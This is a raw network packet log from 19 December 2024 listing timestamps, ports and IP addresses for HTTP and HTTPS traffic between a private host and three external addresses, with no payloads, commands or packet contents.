Dec 19, 2024 16:10:29.996535063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.996741056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.996771097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.997545958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.997747898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.997776031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.998236895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.998459101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.998538017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.998560905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.998594046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.999209881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.999341965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.999620914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.001369953 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:30.001571894 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:30.001584053 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:30.001601934 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.001625061 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.001682997 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.001689911 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.001730919 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.001744032 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.002059937 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:30.008192062 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.008210897 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.008299112 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.008299112 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.008310080 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.008671999 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.015122890 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.015144110 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.015258074 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.015259027 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.015268087 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.015566111 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.021301985 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.021321058 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.021492958 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.021500111 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.021680117 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.047334909 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:30.140316963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.140527964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.140644073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.140850067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.140870094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.140917063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.141706944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.141763926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.141819000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.142774105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.142999887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.143057108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.143057108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.144093037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.144143105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.144171000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.144963980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.145013094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.145042896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.145266056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.145910978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.145977974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.146009922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.146009922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.146950960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.147052050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.147108078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.147964001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.148025036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.148081064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.148956060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.149044991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.149094105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.149869919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.149914980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.149952888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.150255919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.151046991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.151093960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.151170969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.151216984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.151890039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.151935101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.152004957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.152045012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.152937889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.152983904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.153042078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.153080940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.153891087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.153938055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.154042959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.154083014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.154757023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.154835939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.154885054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.156025887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.156271935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.156344891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.156903028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.156963110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.156968117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.157716036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.157776117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.157783031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.158258915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.158705950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.158912897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.158967018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.159617901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.159702063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.159776926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.160607100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.160660982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.160749912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.161612034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.161670923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.161746979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.162277937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.162570000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.162767887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.162811995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.163686991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.163701057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.163741112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.164522886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.164578915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.164669037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.165537119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.165589094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.165621996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.166253090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.166512012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.166574955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.166620016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.166930914 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.166964054 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.167017937 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.167058945 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.167072058 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.167104006 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.167500973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.167573929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.167622089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.168581009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.168663025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.168714046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.169518948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.169560909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.169594049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.170267105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.170444965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.170484066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.170511007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.170553923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.171438932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.171492100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.171492100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.171529055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.172394037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.172446012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.172581911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.172626019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.173346043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.173393965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.173490047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.173526049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.174047947 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.174069881 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.174143076 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.174151897 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.174163103 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.174240112 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.174427986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.174441099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.174473047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.174491882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.175360918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.175443888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.175473928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.175473928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.176275969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.176378965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.176512003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.176562071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.177288055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.177335978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.177397966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.177438021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.178248882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.178291082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.178297997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.178330898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.179230928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.179281950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.179354906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.179436922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.180187941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.180238962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.180275917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.180322886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.180881023 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.180898905 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.180986881 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.180986881 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.181011915 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.181191921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.181197882 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.181339979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.181389093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.182265997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.182286978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.182315111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.182332039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.183258057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.183307886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.183404922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.183537006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.184113979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.184154987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.184237003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.184278965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.185161114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.185216904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.185225010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.185277939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.186232090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.186342001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.186394930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.187079906 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.187098026 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.187182903 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.187191963 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.187381029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.187438011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.187448025 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.187486887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.188290119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.188517094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.188572884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.188688040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.188728094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.190146923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.190202951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.190288067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.191224098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.191237926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.191279888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.191306114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.192223072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.192235947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.192281961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.194273949 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.194293976 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.194360971 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.194370985 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.194397926 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.194493055 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.200642109 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.200661898 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.200786114 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.200826883 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.202284098 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.207693100 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.207715988 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.207827091 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.207834959 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.210273981 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.214706898 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.214732885 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.214838982 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.214838982 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.214847088 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.214884996 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.248300076 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.332370996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.332438946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.332565069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.332724094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.332926989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.332977057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.333043098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.333085060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.333933115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.334074020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.334121943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.335016966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.335030079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.335072994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.335958004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.336021900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.336025000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.336971045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.336992025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.337018967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.337044954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.337878942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.338047981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.338093996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.338931084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.338984013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.338994026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.339802980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.339855909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.339931011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.340504885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.340853930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.340920925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.341020107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.341068983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.341855049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.341916084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.341972113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.342816114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.342895985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.342953920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.343756914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.343935966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.343987942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.344784021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.344830990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.344892025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.344934940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.345726013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.345774889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.345810890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.345850945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.347189903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.347204924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.347249985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.347265005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.347657919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.347702980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.347764015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.347805023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.348660946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.348710060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.348738909 CET	80	49881	31.41.244.11	192.168.2.6
